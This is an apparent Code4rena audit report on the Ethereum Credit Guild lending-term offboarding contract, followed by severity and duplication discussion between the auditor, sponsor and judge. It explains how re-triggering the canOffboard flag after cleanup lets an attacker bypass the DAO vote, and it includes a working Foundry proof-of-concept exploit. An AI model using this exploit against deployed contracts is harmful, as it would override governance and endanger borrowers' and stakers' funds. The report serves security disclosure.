Re-triggering the canOffboard[term] flag to bypass the DAO vote of the lending term offboarding mechanism

[c4-bot-5]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L197
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L120-L123
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L138-L140
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L154
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/LendingTerm.sol#L797
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L228-L231

Vulnerability details

The LendingTermOffboarding contract allows guild holders to poll to remove a lending term. If the voting weight is enough, the lending term can be offboarded without delay. Further, the offboarded term can be re-onboarded to become an active term through the LendingTermOnboarding::proposeOnboard() following up with the voting mechanism.

The following briefly describes the steps for offboarding the lending term through the LendingTermOffboarding contract:

1. Anyone executes the proposeOffboard() to create a poll for offboarding the term. The poll has an age of ~7 days.
2. Guild holders cast votes for offboarding the term via supportOffboard().
3. If the poll has not ended and the voting weight is enough, the canOffboard[term] flag will be set.
4. If the canOffboard[term] flag is set; anyone can execute the offboard() to offboard the term.
5. All loans of the offboarded term have to be called and closed.
6. After all loans have been closed, the cleanup() can be invoked to explicitly terminate the term and reset the canOffboard[term] flag.

The following roughly describes the steps for re-onboarding the offboarded lending term through the LendingTermOnboarding contract:

1. The offboarded term can be proposed for re-onboarding through the proposeOnboard().
2. Guild holders cast votes for the term.
3. If the vote is successful, the term re-onboarding operation is queued in the Timelock.
4. After the Timelock delay, the term can be re-onboarded to become an active lending term again.

Vulnerability Details

This report describes the vulnerability in the LendingTermOffboarding contract, allowing an attacker to force the re-onboarded lending term to offboard by overriding the DAO vote offboarding mechanism. In other words, the attacker is not required to create an offboarding poll and wait for the vote to succeed in offboarding the target term.

The following explains the attack steps:

1. As per steps 1 - 6 for offboarding the lending term previously described above, the lending term will be offboarded (via the offboard()) and cleaned up (via the cleanup()). The cleanup() will reset the canOffboard[term] flag so that no one can execute the offboard() or cleanup() on the terminated term again.
2. However, the offboarding poll has an age of ~7 days. As long as the poll has not ended, an attacker can execute the supportOffboard() to cast a vote to re-trigger the canOffboard[term] flag.
3. Assuming that the target offboarded term has been proposed and successfully granted for re-onboarding (see steps 1 - 4 previously described above for re-onboarding the offboarded lending term).
4. The attacker can force offboarding the target re-onboarded term, overriding the DAO vote offboarding mechanism by invoking the offboard() since the canOffboard[term] flag has been re-triggered in step 2.

After successfully re-triggering the canOffboard[term] flag in step 2, the attacker can suddenly offboard the target re-onboarded term whenever they will, regardless of how long the target term has been re-onboarded, how long the offboarding poll has expired, or how long the canOffboard[term] flag has been re-triggered (please refer to the Proof of Concept section for the coded PoC).

    function cleanup(address term) external whenNotPaused {
        require(canOffboard[term], "LendingTermOffboarding: quorum not met");
        require(
            LendingTerm(term).issuance() == 0,
            "LendingTermOffboarding: not all loans closed"
        );
        require(
            GuildToken(guildToken).isDeprecatedGauge(term),
            "LendingTermOffboarding: re-onboarded"
        );

        // update protocol config
        core().revokeRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term);
        core().revokeRole(CoreRoles.GAUGE_PNL_NOTIFIER, term);

        // unpause psm redemptions
        if (
            --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
        ) {
            SimplePSM(psm).setRedemptionsPaused(false);
        }

@1      canOffboard[term] = false; //@audit -- After all offboarded term's loans have been closed, the cleanup() can be executed to explicitly clean up the term and reset the canOffboard[term] flag
        emit Cleanup(block.timestamp, term);
    }

    function supportOffboard(
        uint256 snapshotBlock,
        address term
    ) external whenNotPaused {
@2      require(
@2          block.number <= snapshotBlock + POLL_DURATION_BLOCKS, //@audit -- The lending term offboarding poll has an age of ~7 days
@2          "LendingTermOffboarding: poll expired"
@2      );
        uint256 _weight = polls[snapshotBlock][term];
        require(_weight != 0, "LendingTermOffboarding: poll not found");
        uint256 userWeight = GuildToken(guildToken).getPastVotes(
            msg.sender,
            snapshotBlock
        );
        require(userWeight != 0, "LendingTermOffboarding: zero weight");
        require(
            userPollVotes[msg.sender][snapshotBlock][term] == 0,
            "LendingTermOffboarding: already voted"
        );

        userPollVotes[msg.sender][snapshotBlock][term] = userWeight;
        polls[snapshotBlock][term] = _weight + userWeight;
@3      if (_weight + userWeight >= quorum) {
@3          canOffboard[term] = true; //@audit -- Attacker can cast a vote to re-trigger the canOffboard[term] flag
@3      }
        emit OffboardSupport(
            block.timestamp,
            term,
            snapshotBlock,
            msg.sender,
            userWeight
        );
    }

    function offboard(address term) external whenNotPaused {
@4      require(canOffboard[term], "LendingTermOffboarding: quorum not met"); //@audit -- Attacker can force offboarding the re-onboarded term, overriding the DAO vote offboarding mechanism

        // update protocol config
        // this will revert if the term has already been offboarded
        // through another mean.
        GuildToken(guildToken).removeGauge(term);

        // pause psm redemptions
        if (
            nOffboardingsInProgress++ == 0 &&
            !SimplePSM(psm).redemptionsPaused()
        ) {
            SimplePSM(psm).setRedemptionsPaused(true);
        }

        emit Offboard(block.timestamp, term);
    }

• @1 -- After all offboarded term's loans have been closed, the cleanup() can be executed to explicitly clean up the term and reset the canOffboard[term] flag: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L197

• @2 -- The lending term offboarding poll has an age of ~7 days: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L120-L123

• @3 -- Attacker can cast a vote to re-trigger the canOffboard[term] flag: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L138-L140

• @4 -- Attacker can force offboarding the re-onboarded term, overriding the DAO vote offboarding mechanism: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L154

Impact

The active re-onboarded lending term can be forced to immediately offboard, bypassing the DAO vote offboarding, which is the protocol's core mechanism. Subsequently, the attacked lending term will block all new loans from being issued and prevent guild holders from voting for the term.

Moreover, all loans previously issued by the attacked term can be called putting the loans for bidding silently (since the attacker bypasses the DAO vote offboarding mechanism). If one of the loans fails on bidding to fill up the loan's principal, the term's loss will be notified. As a result, all users who stake credit tokens through the SurplusGuildMinter contract to vote for the attacked term will be slashed with all their credit principal and guild rewards.

Proof of Concept

This section provides a coded PoC.

Place the testPoCBreakingDaoVoteOffboarding() in the .test/unit/governance/LendingTermOffboarding.t.sol file and run the test using the forge test --match-test testPoCBreakingDaoVoteOffboarding -vvv command.

The PoC explains the attack steps described in the Vulnerability Details section.

function testPoCBreakingDaoVoteOffboarding() public {
    // Prepare for Attacker
    address Attacker = address(1);
    guild.mint(Attacker, 1);
    vm.prank(Attacker);
    guild.delegate(Attacker);

    // Prepare for Bob
    guild.mint(bob, _QUORUM);
    vm.startPrank(bob);
    guild.delegate(bob);

    uint256 POLL_DURATION_BLOCKS = offboarder.POLL_DURATION_BLOCKS();
    uint256 snapshotBlock = block.number;
    uint256 OFFBOARDING_POLL_END_BLOCK = snapshotBlock + POLL_DURATION_BLOCKS;

    // Bob proposes an offboarding of the term
    assertEq(guild.isGauge(address(term)), true);
    offboarder.proposeOffboard(address(term));

    // Next 1 day
    vm.roll(block.number + 6646); // 1 day
    vm.warp(block.timestamp + 6646 * 13);
    assertLe(block.number, OFFBOARDING_POLL_END_BLOCK);

    vm.expectRevert("LendingTermOffboarding: quorum not met");
    offboarder.cleanup(address(term));

    // Bob votes for offboarding the term and executes the offboarding (he has a sufficient voting weight)
    assertEq(guild.isGauge(address(term)), true);
    assertEq(offboarder.canOffboard(address(term)), false);
    offboarder.supportOffboard(snapshotBlock, address(term));
    offboarder.offboard(address(term));
    assertEq(guild.isGauge(address(term)), false);
    assertEq(offboarder.canOffboard(address(term)), true);

    // Cannot clean up because loans are active
    vm.expectRevert("LendingTermOffboarding: not all loans closed");
    offboarder.cleanup(address(term));

    // Next 1 day
    vm.roll(block.number + 6646); // 1 day
    vm.warp(block.timestamp + 6646 * 13);
    assertLe(block.number, OFFBOARDING_POLL_END_BLOCK);

    // Get enough CREDIT to pack back interests
    vm.stopPrank();
    uint256 debt = term.getLoanDebt(aliceLoanId);
    credit.mint(alice, debt - aliceLoanSize);

    // Alice closes loan
    vm.startPrank(alice);
    credit.approve(address(term), debt);
    term.repay(aliceLoanId);
    vm.stopPrank();

    // Clean up the term
    assertEq(psm.redemptionsPaused(), true);
    assertEq(offboarder.nOffboardingsInProgress(), 1);
    offboarder.cleanup(address(term));
    assertEq(psm.redemptionsPaused(), false);
    assertEq(offboarder.nOffboardingsInProgress(), 0);

    assertEq(offboarder.canOffboard(address(term)), false); // The canOffboard[term] flag has been reset
    assertEq(core.hasRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term)), false);
    assertEq(core.hasRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term)), false);

    // Attacker votes for offboarding the term to re-trigger the canOffboard[term] flag again
    vm.startPrank(Attacker);
    assertEq(offboarder.canOffboard(address(term)), false);
    offboarder.supportOffboard(snapshotBlock, address(term));
    assertEq(offboarder.canOffboard(address(term)), true); // Attacker has re-triggered the canOffboard[term] flag
    vm.stopPrank();

    // Next 10 days
    // Offboarding poll expired
    vm.roll(block.number + 66460); // 10 days
    vm.warp(block.timestamp + 66460 * 13);
    assertGt(block.number, OFFBOARDING_POLL_END_BLOCK);

    // The term is re-onboarded
    assertEq(guild.isGauge(address(term)), false);
    guild.addGauge(1, address(term));
    assertEq(guild.isGauge(address(term)), true);

    // Next 30 days
    vm.roll(block.number + 199380); // 30 days
    vm.warp(block.timestamp + 199380 * 13);

    assertEq(guild.isGauge(address(term)), true);
    assertEq(psm.redemptionsPaused(), false);
    assertEq(offboarder.nOffboardingsInProgress(), 0);

    // Attacker offboards the term by overriding the DAO vote offboarding mechanism
    vm.startPrank(Attacker);
    offboarder.offboard(address(term));

    assertEq(guild.isGauge(address(term)), false);
    assertEq(psm.redemptionsPaused(), true);
    assertEq(offboarder.nOffboardingsInProgress(), 1);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Implement a proper mechanism for preventing the (active) lending term offboarding poll from re-triggering the canOffboard[term] flag or deprecating the poll from further voting if the associated lending term has been cleaned up (via the cleanup()).

Assessed type

Other

[0xSorryNotSorry]

The issue is well demonstrated, properly formatted, contains a coded POC.
Marking as HQ.

[c4-pre-sort]

0xSorryNotSorry marked the issue as high quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as primary issue

[eswak]

Thanks for the very high quality report :)

Confirming this, but disagree with severity. I think medium is more fit for this, given the unlikely situation of re-onboarding a term that just has been offboarded, and that no user funds are at risk.

[c4-sponsor]

eswak (sponsor) confirmed

[c4-sponsor]

eswak marked the issue as disagree with severity

[Trumpero]

I agree that this issue should be a med.
Duplicating this for the issues that share the same root cause: missing update states for re-onboarded terms

[c4-judge]

Trumpero changed the severity to 2 (Med Risk)

[c4-judge]

Trumpero marked the issue as satisfactory

[c4-judge]

Trumpero marked the issue as selected for report

[serial-coder]

Dear @Trumpero,

I would like to raise two appeals. Please find the Appeal #2 in the comment below.

Appeal #1 (Please find the Appeal #2 in the comment below)

As the sponsor said,

I think medium is more fit for this, given the unlikely situation of re-onboarding a term that just has been offboarded, and that no user funds are at risk.

I disagree with the sponsor's statement.

Point #1 - argument about: "the unlikely situation of re-onboarding a term that just has been offboarded"

The attack scenario described in this report does not rely on the situation that "the term must be re-onboarded within only a few days after it has been offboarded". Precisely, as long as the cleanup() is executed before the offboarding poll has ended, the attacker can execute the supportOffboard() to cast a vote to re-trigger the canOffboard[term] flag.

The attacker can then wait for a long period (e.g., a couple of months) before attacking. The coded PoC proves that the target term can be re-onboarded after being off-boarded for 12 days (or even later), and the attacker can launch the attack operation (immediately offboard the target term) after the target term has re-onboarded for 30 days (or even later).

Please consider the following excerpt from the Vulnerability Details section for more details:

After successfully re-triggering the canOffboard[term] flag, the attacker can suddenly offboard the target re-onboarded term whenever they will, regardless of how long the target term has been re-onboarded, how long the offboarding poll has expired, or how long the canOffboard[term] flag has been re-triggered (please refer to the Proof of Concept section for the coded PoC).

Point #2 - argument about: "no user funds are at risk"

After re-triggering the canOffboard[term] flag, the attacker can wait for a long period before attacking (e.g., a couple of months -- please thoroughly consider the coded PoC for the proof.). In the meantime, after the target term has been re-onboarded, several GUILD holders can vote for it, and then the term can re-issue new loans.

Once the attacker launches the attack operation, the target term will be forced to immediately offboard, bypassing the DAO vote offboarding.

Please consider the following excerpt from the Impact section on the impact on the protocol users' funds:

All loans previously issued by the attacked term can be called putting the loans for bidding silently (since the attacker bypasses the DAO vote offboarding mechanism). If one of the loans fails on bidding to fill up the loan's principal, the term's loss will be notified. As a result, all users who stake credit tokens through the SurplusGuildMinter contract to vote for the attacked term will be slashed with all their credit principal and guild rewards.

Clearly, the loan borrowers' funds and the stakers' funds are at risk.

In other words, the attack will impact both borrowers (whose loans are forced to be called and closed maliciously) and stakers (who vote for the term via the SurplusGuildMinter contract will be slashed with all their CREDIT principal and GUILD rewards).

The vulnerability also impacts the protocol by breaking the governance decision, which is a core feature of the protocol.

For this reason, the HIGH severity is proper for this report.

[serial-coder]

Dear @Trumpero,

I would like to raise two appeals. Please find the Appeal #1 in the comment above.

Appeal #2 (Please find the Appeal #1 in the comment above)

As the sponsor said in #1147's comment,

I think this is a duplicate of #1141

And what the judge said,

Duplicating this for the issues that share the same root cause: missing update states for re-onboarded terms

I disagree with the sponsor's and judge's statements.

Note that I wrote both issues #1147 and #1141 (this report). And they have different attack scenarios.

The issue #1141 (this report) explains the attack steps to re-trigger the canOffboard[term] flag after the term has been explicitly terminated via the cleanup().

Whereas the issue #1147 explains another attack scenario in which the target term has been off-boarded but never been explicitly terminated by the cleanup() before it is re-onboarded (The canOffboard[term] flag is still set to true, no need to re-trigger the flag like the issue in this report).

Hence, fixing either issue may not fix another issue because they have different attack initiation scenarios and attack vectors (different root causes).

For this reason, #1147  (the root cause resides in the cleanup()) and #1141 (the root cause resides in the supportOffboard()) should be separate issues.

[Trumpero]

@serial-coder I agree with appeal 2 that this issue is different from #1147, as it mentions another vulnerability where Guild holders are still able to call supportOffboard for an offboarded lending term after cleanup and set canOffboard to be true without new proposal. This issue should be separated from #1147.
Additionally, I still keep medium severity for this issue, since it doesn't cause any direct loss. It could end up to locking funds in contracts, but funds can be still recovered by Governor.

[c4-judge]

Trumpero marked issue #1147 as primary and marked this issue as a duplicate of 1147

[c4-judge]

Trumpero marked the issue as not a duplicate

[c4-judge]

Trumpero marked the issue as primary issue

[c4-judge]

Trumpero marked the issue as selected for report